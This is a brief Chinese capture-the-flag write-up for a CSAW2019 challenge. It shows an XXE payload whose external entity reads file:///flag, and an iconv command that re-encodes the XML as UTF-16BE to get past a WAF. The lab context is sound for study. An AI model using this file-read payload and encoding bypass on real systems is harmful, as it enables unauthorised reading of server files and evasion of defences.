知识点:xxe外部实体注入和绕过waf
告诉我们要传一个xml文件,并且相应的样式信息也出来了。
flag在/flag下
构造xml
<?xml version='1.0'?>
<!DOCTYPE users [
<!ENTITY xxe SYSTEM "file:///flag" >]>
<users>
<user>
<username>gg</username>
<password>passwd1</password>
<name>ggg</name>
<email>alice@fakesite.com</email>
<group>CSAW2019</group>
<intro>&xxe;</intro>
</user>
<user>
<username>bob</username>
<password>passwd2</password>
<name> Bob</name>
<email>bob@fakesite.com</email>
<group>CSAW2019</group>
<intro>&xxe;</intro>
</user>
</users>
但是这边会被waf拦下,我们可以以其他编码方式来编码它。
(注意:这边不是字符串转其他编码,以其他编码格式来编码)
绕过方式
命令:
cat 1.xml | iconv -f UTF-8 -t UTF-16BE > x16.xml
然后上传xml文件就可以了。
参考:
wp:
https://www.shawroot.cc/156.html
文献:
绕过WAF保护的XXE : https://xz.aliyun.com/t/4059